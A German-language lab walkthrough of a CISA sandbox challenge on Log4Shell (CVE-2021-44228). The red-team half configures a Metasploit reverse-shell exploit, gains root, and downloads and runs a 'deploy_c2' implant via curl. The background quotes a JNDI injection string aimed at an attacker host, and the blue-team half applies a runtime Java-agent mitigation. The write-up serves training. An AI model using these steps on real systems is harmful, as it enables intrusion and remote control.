Sandbox-Challenge: Log4Shell (CVE-2021-44228)

Übersicht

Dieser Durchgang dokumentiert die Schritte, die zur Absolvierung der CISA Threat Sandbox Challenge für CVE-2021-44228, allgemein bekannt als Log4Shell, unternommen wurden. Die Aufgabe bestand darin, zwei Ziele zu erreichen – eines für das Red Team (offensiv) und eines für das Blue Team (defensiv) – gegen einen fiktiven IT-Managed-Service-Provider (MSP) namens DasMSP in einer isolierten Sandbox-Umgebung.

Hinweis: Befehle und Dateipfade in diesem Durchgang spiegeln die spezifischen Schritte wider, die in dieser Umgebung durchgeführt wurden. Ihre Umgebung kann abweichen, einschließlich IP-Adressen, Dateipfaden und verfügbarer Tools. Passen Sie die Befehle entsprechend Ihrer Konfiguration an.

Hintergrund

CVE-2021-44228 ist eine kritische Schwachstelle zur Remote-Codeausführung (RCE) (CVSS 10.0), die bestimmte Versionen des Java-Logging-Frameworks Apache Log4j betrifft. Die Schwachstelle entsteht durch die JNDI-Lookup-Funktion von Log4j, die durch das Einschleusen eines speziell gestalteten Strings wie ${jndi:ldap://attacker.com/exploit} in alle von Log4j protokollierten Daten ausgelöst werden kann. Wenn ein Angreifer eine angreifbare Anwendung dazu bringt, einen bösartigen String zu protokollieren – üblicherweise über HTTP-Header –, kontaktiert Log4j den vom Angreifer kontrollierten Server und führt beliebigen Code aus.

Log4Shell wurde am 10. Dezember 2021 in den CISA-Katalog der bekannten ausgenutzten Schwachstellen (KEV) aufgenommen und erschien in den gemeinsamen Hinweisen zu den Top der routinemäßig ausgenutzten Schwachstellen sowohl für 2021 als auch für 2022.

Umgebung

Bei beiden Zielsystemen handelt es sich um Linux-Systeme, die eine angreifbare Java-Webanwendung (dasmsp.jar) mit einer betroffenen Version von Log4j ausführen.

Verwendete Tools

• Metasploit Framework (exploit/multi/http/log4shell_header_injection)
• curl
• Python3-HTTP-Server
• SSH
• SCP
• systemctl
• nano

Red-Team-Ziel: C2-Listener auf Red Target bereitstellen

Schritt 1 – Metasploit starten

Öffnete ein Terminal auf der Security-Desk und startete Metasploit:

msfconsole

Schritt 2 – Nach dem Log4Shell-Modul suchen

Der im Briefing angegebene Modulpfad stimmte nicht mit der installierten Version überein. Suche nach dem korrekten Modul:

search log4shell

Identifiziertes korrektes Modul: exploit/multi/http/log4shell_header_injection.

Schritt 3 – Exploit konfigurieren

use exploit/multi/http/log4shell_header_injection
set RHOSTS <Red-Target-IP>
set RPORT 80
set SRVHOST <Security-Desk-IP>
set PAYLOAD java/shell_reverse_tcp
set LHOST <Security-Desk-IP>

Schritt 4 – Exploit ausführen

run

Metasploit testete automatisch mehrere HTTP-Header auf die Log4Shell-Schwachstelle. Das Red Target wurde als anfällig über mehrere Header bestätigt (Authorization, Cache-Control, User-Agent, X-Forwarded-For und andere). Eine Befehlsshell-Sitzung wurde zum Red Target geöffnet.

Schritt 5 – Shell-Zugriff überprüfen

Bestätigter Root-Level-Zugriff auf dem Red Target:

id

Ausgabe: uid=0(root) gid=0(root) groups=0(root)

Schritt 6 – deploy_c2 übertragen und ausführen

Die Binärdatei deploy_c2 befand sich auf der Security-Desk, nicht auf dem Red Target. Weder wget noch eine direkte Pfadreferenz waren auf dem Ziel verfügbar. Ein zweites Terminal auf der Security-Desk wurde geöffnet und die Datei über Python bereitgestellt:

cd ~/Desktop/Resources
python3 -m http.server 8080

Zurück in der Metasploit-Shell-Sitzung auf dem Red Target wurde die Binärdatei heruntergeladen und ausgeführt:

curl http://<Security-Desk-IP>:8080/deploy_c2 -o /tmp/deploy_c2
chmod +x /tmp/deploy_c2
/tmp/deploy_c2

Ausgabe: Done!

✅ C2-Listener auf Red Target bereitgestellt – Prüfung bestätigt.

Blue-Team-Ziel: CVE-2021-44228 auf Blue Target entschärfen

Die verwendete Entschärfungsmethode ist der von NCC Group entwickelte Java-Agent log4j-jndi-be-gone-standalone.jar, der das JNDI-Lookup-Verhalten zur Laufzeit patcht, ohne dass ein Patch der zugrunde liegenden Anwendung erforderlich ist. Details zu diesem Agenten finden Sie im NCC Group Research Blog.

Schritt 1 – Java-Agent auf das Blue Target übertragen

Vom Security-Desk-Terminal aus wurde der Java-Agent per SCP übertragen:

scp ~/Desktop/Resources/log4j-jndi-be-gone-standalone.jar playerone@<Blue-Target-IP>:/tmp/

Schritt 2 – Per SSH auf das Blue Target einloggen

ssh playerone@<Blue-Target-IP>

Schritt 3 – Service-Unit-Datei bearbeiten

sudo nano /etc/systemd/system/dasmsp.service

Die ExecStart-Zeile gefunden und das Flag -javaagent hinzugefügt:

Vorher:

ExecStart=/usr/lib/jvm/nvidia-java-8-openjdk-amd64/bin/java -jar /opt/dasmsp.jar

Nachher:

ExecStart=/usr/lib/jvm/nvidia-java-8-openjdk-amd64/bin/java -javaagent:/tmp/log4j-jndi-be-gone-standalone.jar -jar /opt/dasmsp.jar

Gespeichert mit Ctrl+O → Enter → Ctrl+X.

Schritt 4 – Dienst neu laden und neu starten

sudo systemctl daemon-reload
sudo systemctl restart dasmsp

✅ CVE-2021-44228 auf Blue Target entschärft – Prüfung bestätigt.